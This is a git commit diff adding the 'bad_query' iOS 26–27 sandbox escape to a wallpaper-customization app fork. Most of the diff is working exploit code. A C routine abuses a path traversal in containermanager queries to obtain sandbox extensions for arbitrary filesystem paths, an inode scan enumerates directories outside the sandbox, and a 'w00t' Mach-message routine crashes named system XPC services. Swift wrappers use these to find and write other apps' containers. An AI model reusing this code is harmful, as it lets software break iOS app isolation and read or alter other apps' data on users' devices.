Add bad_query support for iOS 26–27.0b4
Integrate forcequitOS/bad_query for sandbox-escaped PosterBoard writes, on-device container UUID detection (no PC/Nugget required), descriptor wipe for Reset Collections, and Mond-style WebKit respring that works under LiveContainer. Rebrand fork to com.mak5er.Pocket-Poster; credit Mak5er.
This commit is contained in:
1 parent
fb07aa4558
commit
18a67ec171
21 files changed
+1223
-102
No files matched your search
@@ -0,0 +1,282 @@
|
||||
//
|
||||
// BadQuery.swift
|
||||
// Pocket Poster
|
||||
//
|
||||
// Swift wrapper around forcequitOS/bad_query sandbox escape
|
||||
// (container_query path traversal via MobileGestalt SystemGroup).
|
||||
// Supports iOS 26.0 – 26.6.1 / 27.0b4+.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
|
||||
enum BadQueryError: LocalizedError {
|
||||
case invalidPath
|
||||
case missingPath
|
||||
case resolveFailed
|
||||
case createFailed
|
||||
case outsideSandbox
|
||||
case kernelRejected
|
||||
case asprintfFailed
|
||||
case unknown(Int64)
|
||||
case listFailed
|
||||
case containerNotFound(String)
|
||||
|
||||
var errorDescription: String? {
|
||||
switch self {
|
||||
case .invalidPath:
|
||||
return "Path must be absolute."
|
||||
case .missingPath:
|
||||
return "Target path does not exist."
|
||||
case .resolveFailed:
|
||||
return "Failed to resolve containermanager symbols."
|
||||
case .createFailed:
|
||||
return "Failed to create container query."
|
||||
case .outsideSandbox:
|
||||
return "Path is outside containermanager sandbox."
|
||||
case .kernelRejected:
|
||||
return "Kernel refused to issue a sandbox extension."
|
||||
case .asprintfFailed:
|
||||
return "Failed to build path traversal string."
|
||||
case .unknown(let code):
|
||||
return "bad_query failed with code \(code)."
|
||||
case .listFailed:
|
||||
return "Failed to enumerate containers (fsgetpath)."
|
||||
case .containerNotFound(let bundleId):
|
||||
return "Could not find container for \(bundleId)."
|
||||
}
|
||||
}
|
||||
|
||||
static func from(code: Int64) -> BadQueryError {
|
||||
switch code {
|
||||
case -255: return .invalidPath
|
||||
case -254: return .missingPath
|
||||
case -1: return .resolveFailed
|
||||
case -2: return .createFailed
|
||||
case -3: return .outsideSandbox
|
||||
case -4: return .kernelRejected
|
||||
case -5: return .asprintfFailed
|
||||
default: return .unknown(code)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// RAII-style sandbox extension handle.
|
||||
final class BadQueryHandle {
|
||||
private(set) var handle: Int64
|
||||
let path: String
|
||||
|
||||
init(handle: Int64, path: String) {
|
||||
self.handle = handle
|
||||
self.path = path
|
||||
}
|
||||
|
||||
deinit {
|
||||
release()
|
||||
}
|
||||
|
||||
func release() {
|
||||
guard handle >= 0 else { return }
|
||||
bad_query_release(handle)
|
||||
handle = -1
|
||||
}
|
||||
}
|
||||
|
||||
enum BadQuery {
|
||||
/// PosterBoard / related bundle identifiers.
|
||||
static let posterBoardBundleId = "com.apple.PosterBoard"
|
||||
static let carPlayWallpaperBundleId = "com.apple.CarPlayWallpaper"
|
||||
|
||||
// MARK: - Availability
|
||||
|
||||
/// True when the MobileGestalt system-group query route resolves symbols.
|
||||
/// Cheap probe: only checks dlsym path by attempting a known-existing system path with create=true.
|
||||
static var isAvailable: Bool {
|
||||
// Probe with a path that should always exist on device; create=true skips lstat
|
||||
// so we only fail if symbols/query plumbing is broken (patched OS).
|
||||
let probe = "/var/mobile"
|
||||
var cPath = probe.utf8CString.map { Int8($0) }
|
||||
let result = bad_query(&cPath, true, nil, false)
|
||||
if result >= 0 {
|
||||
bad_query_release(result)
|
||||
return true
|
||||
}
|
||||
// -3/-4 mean query ran but path/token failed; symbols still work
|
||||
if result == -3 || result == -4 || result == -254 {
|
||||
return true
|
||||
}
|
||||
// -1/-2 = symbols/query broken
|
||||
return result != -1 && result != -2
|
||||
}
|
||||
|
||||
// MARK: - Consume / Release
|
||||
|
||||
/// Obtain a sandbox extension for an absolute path.
|
||||
/// - Parameters:
|
||||
/// - path: Absolute filesystem path
|
||||
/// - create: If true, skip existence check (use when lstat is blocked by sandbox)
|
||||
/// - groupIdentifier: Optional app group; nil uses MobileGestalt SystemGroup (iOS 27 preferred)
|
||||
/// - isGroup: iOS 26 App Group flag route
|
||||
@discardableResult
|
||||
static func consume(
|
||||
path: String,
|
||||
create: Bool = false,
|
||||
groupIdentifier: String? = nil,
|
||||
isGroup: Bool = false
|
||||
) throws -> BadQueryHandle {
|
||||
guard path.hasPrefix("/") else { throw BadQueryError.invalidPath }
|
||||
|
||||
var cPath = path.utf8CString.map { Int8($0) }
|
||||
let handle: Int64
|
||||
if let group = groupIdentifier {
|
||||
var cGroup = group.utf8CString.map { Int8($0) }
|
||||
handle = bad_query(&cPath, create, &cGroup, isGroup)
|
||||
} else {
|
||||
handle = bad_query(&cPath, create, nil, isGroup)
|
||||
}
|
||||
|
||||
guard handle >= 0 else {
|
||||
// Retry with create=true if existence check failed under sandbox
|
||||
if !create && handle == -254 {
|
||||
return try consume(path: path, create: true, groupIdentifier: groupIdentifier, isGroup: isGroup)
|
||||
}
|
||||
throw BadQueryError.from(code: handle)
|
||||
}
|
||||
return BadQueryHandle(handle: handle, path: path)
|
||||
}
|
||||
|
||||
// MARK: - Listing
|
||||
|
||||
/// Enumerate immediate children under `path` via fsgetpath inode scan.
|
||||
static func list(path: String, maxInode: Int64 = 2_000_000) throws -> [String] {
|
||||
var cPath = path.utf8CString.map { Int8($0) }
|
||||
guard let raw = bad_query_list(&cPath, maxInode) else {
|
||||
throw BadQueryError.listFailed
|
||||
}
|
||||
defer { free(raw) }
|
||||
let str = String(cString: raw)
|
||||
return str
|
||||
.split(whereSeparator: \.isNewline)
|
||||
.map(String.init)
|
||||
.filter { !$0.isEmpty }
|
||||
}
|
||||
|
||||
// MARK: - Container discovery
|
||||
|
||||
private static let metadataFileName = ".com.apple.mobile_container_manager.metadata.plist"
|
||||
|
||||
/// Read MCMMetadataIdentifier from a container root, using bad_query for access.
|
||||
static func readBundleId(fromContainerPath containerPath: String) -> String? {
|
||||
let metaPath = (containerPath as NSString).appendingPathComponent(metadataFileName)
|
||||
guard let token = try? consume(path: metaPath, create: true) else { return nil }
|
||||
defer { token.release() }
|
||||
|
||||
guard let dict = NSDictionary(contentsOfFile: metaPath) as? [String: Any] else {
|
||||
// Some layouts use a non-hidden name
|
||||
let alt = (containerPath as NSString).appendingPathComponent("com.apple.mobile_container_manager.metadata.plist")
|
||||
if let altToken = try? consume(path: alt, create: true) {
|
||||
defer { altToken.release() }
|
||||
if let d = NSDictionary(contentsOfFile: alt) as? [String: Any] {
|
||||
return d["MCMMetadataIdentifier"] as? String
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
return dict["MCMMetadataIdentifier"] as? String
|
||||
}
|
||||
|
||||
/// Find application container UUID for a bundle identifier (on-device, no PC).
|
||||
static func findAppHash(bundleId targetBundleId: String, searchRoots: [String]? = nil) throws -> String {
|
||||
let roots = searchRoots ?? [
|
||||
"/var/mobile/Containers/Data/Application",
|
||||
"/var/mobile/Containers/Data/InternalDaemon",
|
||||
"/var/mobile/Containers/Data/PluginKitPlugin"
|
||||
]
|
||||
|
||||
for root in roots {
|
||||
let children: [String]
|
||||
do {
|
||||
children = try list(path: root)
|
||||
} catch {
|
||||
continue
|
||||
}
|
||||
|
||||
for child in children {
|
||||
let uuid = (child as NSString).lastPathComponent
|
||||
// Normalize to the root we know
|
||||
let containerPath = "\(root)/\(uuid)"
|
||||
if let id = readBundleId(fromContainerPath: containerPath), id == targetBundleId {
|
||||
return uuid
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
throw BadQueryError.containerNotFound(targetBundleId)
|
||||
}
|
||||
|
||||
static func findPosterBoardHash() throws -> String {
|
||||
try findAppHash(bundleId: posterBoardBundleId)
|
||||
}
|
||||
|
||||
static func findCarPlayHash() throws -> String {
|
||||
try findAppHash(bundleId: carPlayWallpaperBundleId)
|
||||
}
|
||||
|
||||
// MARK: - Path helpers
|
||||
|
||||
static func applicationContainerPath(appHash: String) -> String {
|
||||
"/var/mobile/Containers/Data/Application/\(appHash)"
|
||||
}
|
||||
|
||||
static func descriptorsPath(appHash: String, ext: String) -> String {
|
||||
let ver = SymHandler.getExtensionVersion()
|
||||
return applicationContainerPath(appHash: appHash)
|
||||
+ "/Library/Application Support/PRBPosterExtensionDataStore/\(ver)/Extensions/\(ext)/descriptors"
|
||||
}
|
||||
|
||||
static func carPlayCachePath(appHash: String) -> String {
|
||||
applicationContainerPath(appHash: appHash)
|
||||
+ "/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images"
|
||||
}
|
||||
|
||||
// MARK: - File ops under extension
|
||||
|
||||
/// Copy a directory or file into `destinationDirectory` (must already be accessible via handle).
|
||||
static func copyItem(at source: URL, intoDestinationDirectory destDir: String, named name: String? = nil) throws {
|
||||
let destName = name ?? source.lastPathComponent
|
||||
let destURL = URL(fileURLWithPath: destDir).appendingPathComponent(destName)
|
||||
let fm = FileManager.default
|
||||
if fm.fileExists(atPath: destURL.path) {
|
||||
try fm.removeItem(at: destURL)
|
||||
}
|
||||
try fm.copyItem(at: source, to: destURL)
|
||||
}
|
||||
|
||||
/// Ensure a directory exists at path while holding a parent extension if needed.
|
||||
static func ensureDirectory(at path: String) throws {
|
||||
let fm = FileManager.default
|
||||
if fm.fileExists(atPath: path) { return }
|
||||
|
||||
// Walk up to find an existing ancestor we can open, then create intermediates
|
||||
let components = path.split(separator: "/").map(String.init)
|
||||
var built = ""
|
||||
var lastExisting = ""
|
||||
for part in components {
|
||||
built += "/" + part
|
||||
if fm.fileExists(atPath: built) {
|
||||
lastExisting = built
|
||||
}
|
||||
}
|
||||
|
||||
if lastExisting.isEmpty {
|
||||
// Get extension on the full path with create=true and mkdir
|
||||
let handle = try consume(path: path, create: true)
|
||||
defer { handle.release() }
|
||||
try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
|
||||
return
|
||||
}
|
||||
|
||||
let handle = try consume(path: lastExisting, create: true)
|
||||
defer { handle.release() }
|
||||
try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
//
|
||||
// Pocket-Poster-Bridging-Header.h
|
||||
// Pocket Poster
|
||||
//
|
||||
// Exposes C exploit helpers to Swift.
|
||||
//
|
||||
|
||||
#import "bad_query.h"
|
||||
#import "xpc_crash.h"
|
||||
@@ -0,0 +1,183 @@
|
||||
//
|
||||
// bad_query.c
|
||||
// bad_query
|
||||
//
|
||||
// Created by Taj C on 7/21/26.
|
||||
//
|
||||
|
||||
#include "bad_query.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <dlfcn.h>
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <sys/stat.h>
|
||||
#include <xpc/xpc.h>
|
||||
|
||||
#include <sys/mount.h>
|
||||
#include <sys/fsgetpath.h>
|
||||
|
||||
typedef void *(*container_query_create_fn)(void);
|
||||
typedef void (*container_query_set_class_fn)(void *, uint64_t);
|
||||
typedef void (*container_query_set_identifiers_fn)(void *, xpc_object_t);
|
||||
typedef void (*container_query_set_flags_fn)(void *, uint64_t);
|
||||
typedef void (*container_query_set_part_fn)(void *, uint64_t);
|
||||
typedef void (*container_query_set_part_domain_fn)(void *, const char *);
|
||||
typedef void *(*container_query_get_single_result_fn)(void *);
|
||||
typedef void (*container_query_free_fn)(void *);
|
||||
typedef char *(*container_copy_sandbox_token_fn)(void *);
|
||||
typedef int64_t (*sandbox_extension_consume_fn)(const char *);
|
||||
typedef int (*sandbox_extension_release_fn)(int64_t);
|
||||
|
||||
int64_t bad_query(char* path, bool create, char *group_identifier, bool is_group) {
|
||||
// Sanity check our path and check if something already exists there
|
||||
if (!path || path[0] != '/') return -255; // Not an absolute path
|
||||
if (!create) {
|
||||
struct stat st;
|
||||
if (lstat(path, &st) != 0) return -254; // File is missing, so we'll return
|
||||
}
|
||||
|
||||
// Now the fun begins
|
||||
void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL);
|
||||
if (!mgr) return -1; // Failed to dlopen
|
||||
|
||||
// Resolve functions
|
||||
container_query_create_fn query_create = (container_query_create_fn)dlsym(mgr, "container_query_create");
|
||||
container_query_set_class_fn query_set_class = (container_query_set_class_fn)dlsym(mgr, "container_query_set_class");
|
||||
container_query_set_identifiers_fn query_set_group_identifiers = (container_query_set_identifiers_fn)dlsym(mgr, "container_query_set_group_identifiers");
|
||||
container_query_set_flags_fn query_set_flags = (container_query_set_flags_fn)dlsym(mgr, "container_query_operation_set_flags");
|
||||
container_query_set_part_fn query_set_part = (container_query_set_part_fn)dlsym(mgr, "container_query_operation_set_part");
|
||||
container_query_set_part_domain_fn query_set_part_domain = (container_query_set_part_domain_fn)dlsym(mgr, "container_query_operation_set_part_domain");
|
||||
container_query_get_single_result_fn query_get_single_result = (container_query_get_single_result_fn)dlsym(mgr, "container_query_get_single_result");
|
||||
container_query_free_fn query_free = (container_query_free_fn)dlsym(mgr, "container_query_free");
|
||||
container_copy_sandbox_token_fn copy_sandbox_token = (container_copy_sandbox_token_fn)dlsym(mgr, "container_copy_sandbox_token");
|
||||
sandbox_extension_consume_fn consume_extension = (sandbox_extension_consume_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_consume");
|
||||
|
||||
int64_t handle = -1;
|
||||
if (!query_create || !query_set_class || !query_set_group_identifiers || !query_set_flags || !query_set_part || !query_set_part_domain || !query_get_single_result || !query_free || !copy_sandbox_token || !consume_extension) {
|
||||
dlclose(mgr);
|
||||
return -1; // Failed to resolve a function
|
||||
}
|
||||
|
||||
// Create query
|
||||
void *query = query_create();
|
||||
if (!query) {
|
||||
dlclose(mgr);
|
||||
return -2; // Failed to create query
|
||||
}
|
||||
|
||||
// Set up query
|
||||
// Two routes here, supply an App Group you control (to access other App Groups on iOS 26) or don't, and use MobileGestalt's SystemGroup as a target instead. If targeting iOS 26 and trying to access App Groups, also set is_group to true to use the correct flags.
|
||||
xpc_object_t identifier;
|
||||
if (group_identifier == NULL) {
|
||||
query_set_class(query, 13); // Class 13 (MCMSharedSystemDataContainer) routes to containermanagerd_system
|
||||
identifier = xpc_string_create("systemgroup.com.apple.mobilegestaltcache");
|
||||
} else {
|
||||
query_set_class(query, 7); // Class 7 (MCMSharedDataContainer) routes to containermanagerd
|
||||
identifier = xpc_string_create(group_identifier);
|
||||
}
|
||||
query_set_group_identifiers(query, identifier);
|
||||
query_set_part(query, 3); // Part determines our starting point, part 3 is Library/Caches
|
||||
char *part = NULL;
|
||||
// Oldest trick in the book. Basic path traversal.
|
||||
if (group_identifier == NULL) {
|
||||
if (asprintf(&part, "../../../../../../../..%s", path) != -1) {
|
||||
query_set_part_domain(query, part);
|
||||
} else {
|
||||
xpc_release(identifier);
|
||||
query_free(query);
|
||||
dlclose(mgr);
|
||||
return -5; // asprintf failed for some reason
|
||||
}
|
||||
} else {
|
||||
// We have to go one level higher to get to / from an App Group
|
||||
if (asprintf(&part, "../../../../../../../../..%s", path) != -1) {
|
||||
query_set_part_domain(query, part);
|
||||
} else {
|
||||
xpc_release(identifier);
|
||||
query_free(query);
|
||||
dlclose(mgr);
|
||||
return -5; // Same thing
|
||||
}
|
||||
}
|
||||
|
||||
// To access App Groups on iOS 26, you have to use different flags, this doesn't apply on 27
|
||||
if (is_group) {
|
||||
query_set_flags(query, 0x0000000800000000ULL);
|
||||
} else {
|
||||
query_set_flags(query, 0x0000008000000000ULL);
|
||||
}
|
||||
|
||||
// Send our query over
|
||||
void *result = query_get_single_result(query);
|
||||
if (!result) {
|
||||
free(part);
|
||||
xpc_release(identifier);
|
||||
query_free(query);
|
||||
dlclose(mgr);
|
||||
return -3; // Outside of sandbox
|
||||
}
|
||||
char *token = copy_sandbox_token(result);
|
||||
if (!token) {
|
||||
free(part);
|
||||
xpc_release(identifier);
|
||||
query_free(query);
|
||||
dlclose(mgr);
|
||||
return -4; // Kernel refused to issue a sandbox extension
|
||||
}
|
||||
|
||||
// Consume our fresh sandbox extension and clean up
|
||||
handle = consume_extension(token);
|
||||
free(token);
|
||||
free(part);
|
||||
xpc_release(identifier);
|
||||
query_free(query);
|
||||
|
||||
dlclose(mgr);
|
||||
return handle;
|
||||
}
|
||||
|
||||
void bad_query_release(int64_t handle) {
|
||||
if (handle < 0) return;
|
||||
sandbox_extension_release_fn release_extension = (sandbox_extension_release_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_release");
|
||||
if (release_extension) release_extension(handle);
|
||||
}
|
||||
|
||||
// This still works on 27.0b5
|
||||
// I'm including it here because it's very useful in the context of this sandbox escape, which can't access parent directories (most of the time)
|
||||
// This enumerates all directories in a given path, so you can, for example, get all container UUIDs, read their container metadata to get their bundle ID, and derive that entirely on-device without a computer
|
||||
char *bad_query_list(char *path, int64_t max_inode) {
|
||||
struct statfs sfs;
|
||||
// Prefer the target path; fall back to known on-volume roots if sandboxed
|
||||
if (statfs(path, &sfs) != 0) {
|
||||
if (statfs("/private/var", &sfs) != 0 && statfs("/var", &sfs) != 0) {
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
fsid_t fsid = sfs.f_fsid;
|
||||
|
||||
size_t cap = 65536;
|
||||
size_t length = 0;
|
||||
size_t path_length = strlen(path);
|
||||
|
||||
char *out = malloc(cap);
|
||||
if (!out) return NULL;
|
||||
out[0] = '\0';
|
||||
|
||||
char buf[1200];
|
||||
for (uint64_t ino = 1; ino <= max_inode; ino++) {
|
||||
ssize_t n = fsgetpath(buf, sizeof(buf), &fsid, ino);
|
||||
if (n <= 0) continue;
|
||||
|
||||
const char *p = buf;
|
||||
if (strncmp(p, "/private/var/", 13) == 0) p += 8;
|
||||
if (strncmp(p, path, path_length) != 0 || p[path_length] != '/') continue;
|
||||
if (strchr(p + path_length + 1, '/')) continue;
|
||||
|
||||
size_t need = strlen(p) + 2;
|
||||
if (length + need > cap) { cap *= 2; char *t = realloc(out, cap); if (!t) break; out = t; }
|
||||
length += snprintf(out + length, cap - length, "%s\n", p);
|
||||
}
|
||||
return out;
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
//
|
||||
// bad_query.h
|
||||
// bad_query
|
||||
//
|
||||
// Created by Taj C on 7/21/26.
|
||||
//
|
||||
|
||||
#ifndef bad_query_h
|
||||
#define bad_query_h
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
int64_t bad_query(char* path, bool create, char *group_identifier, bool is_group);
|
||||
char *bad_query_list(char *path, int64_t max_inode);
|
||||
void bad_query_release(int64_t handle);
|
||||
|
||||
#endif /* bad_query_h */
|
||||
@@ -0,0 +1,110 @@
|
||||
//
|
||||
// xpc_crash.c
|
||||
// Pocket Poster
|
||||
//
|
||||
// Ported from Cowabunga / TrollTools helpers.m
|
||||
// (xpc w00t technique: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html)
|
||||
//
|
||||
|
||||
#include "xpc_crash.h"
|
||||
#include <string.h>
|
||||
#include <mach/mach.h>
|
||||
#include <mach-o/dyld.h>
|
||||
|
||||
// bootstrap_look_up is in libsystem_kernel / libxpc but not always in public headers
|
||||
extern kern_return_t bootstrap_look_up(mach_port_t bp, const char *service_name, mach_port_t *sp);
|
||||
extern mach_port_t bootstrap_port;
|
||||
|
||||
struct xpc_w00t {
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t client_port;
|
||||
mach_msg_port_descriptor_t reply_port;
|
||||
};
|
||||
|
||||
static mach_port_t get_send_once(mach_port_t recv) {
|
||||
mach_port_t so = MACH_PORT_NULL;
|
||||
mach_msg_type_name_t type = 0;
|
||||
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
|
||||
if (err != KERN_SUCCESS) {
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
return so;
|
||||
}
|
||||
|
||||
void xpc_crasher(char *service_name) {
|
||||
mach_port_t client_port = MACH_PORT_NULL;
|
||||
mach_port_t reply_port = MACH_PORT_NULL;
|
||||
mach_port_t service_port = MACH_PORT_NULL;
|
||||
|
||||
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("xpc_crasher: unable to look up %s\n", service_name);
|
||||
return;
|
||||
}
|
||||
if (service_port == MACH_PORT_NULL) {
|
||||
printf("xpc_crasher: bad service port for %s\n", service_name);
|
||||
return;
|
||||
}
|
||||
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
return;
|
||||
}
|
||||
|
||||
mach_port_t so0 = get_send_once(client_port);
|
||||
mach_port_t so1 = get_send_once(client_port);
|
||||
|
||||
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
if (err != KERN_SUCCESS) {
|
||||
return;
|
||||
}
|
||||
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
return;
|
||||
}
|
||||
|
||||
struct xpc_w00t msg;
|
||||
memset(&msg.hdr, 0, sizeof(msg));
|
||||
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
|
||||
msg.hdr.msgh_size = sizeof(msg);
|
||||
msg.hdr.msgh_remote_port = service_port;
|
||||
msg.hdr.msgh_id = 'w00t';
|
||||
|
||||
msg.body.msgh_descriptor_count = 2;
|
||||
|
||||
msg.client_port.name = client_port;
|
||||
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE;
|
||||
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
|
||||
msg.reply_port.name = reply_port;
|
||||
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
|
||||
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
|
||||
err = mach_msg(&msg.hdr,
|
||||
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
|
||||
msg.hdr.msgh_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("xpc_crasher: w00t send failed for %s: %s\n", service_name, mach_error_string(err));
|
||||
} else {
|
||||
printf("xpc_crasher: sent w00t to %s\n", service_name);
|
||||
}
|
||||
|
||||
if (so0 != MACH_PORT_NULL) mach_port_deallocate(mach_task_self(), so0);
|
||||
if (so1 != MACH_PORT_NULL) mach_port_deallocate(mach_task_self(), so1);
|
||||
}
|
||||
|
||||
void restartBackboard(void) {
|
||||
xpc_crasher("com.apple.backboard.TouchDeliveryPolicyServer");
|
||||
}
|
||||
|
||||
void restartFrontboard(void) {
|
||||
// May not kill the calling app on some versions — caller should exit(0) after.
|
||||
xpc_crasher("com.apple.frontboard.systemappservices");
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
//
|
||||
// xpc_crash.h
|
||||
// Pocket Poster
|
||||
//
|
||||
// Userspace respring helpers (from Cowabunga / Project Zero xpc w00t).
|
||||
//
|
||||
|
||||
#ifndef xpc_crash_h
|
||||
#define xpc_crash_h
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
/// Crash an XPC service by name (triggers relaunch of the hosting process).
|
||||
void xpc_crasher(char *service_name);
|
||||
|
||||
/// Respring via crashing com.apple.backboard.TouchDeliveryPolicyServer
|
||||
void restartBackboard(void);
|
||||
|
||||
/// Respring via crashing com.apple.frontboard.systemappservices
|
||||
void restartFrontboard(void);
|
||||
|
||||
#endif /* xpc_crash_h */
|
||||
Reference in new issue
Block a user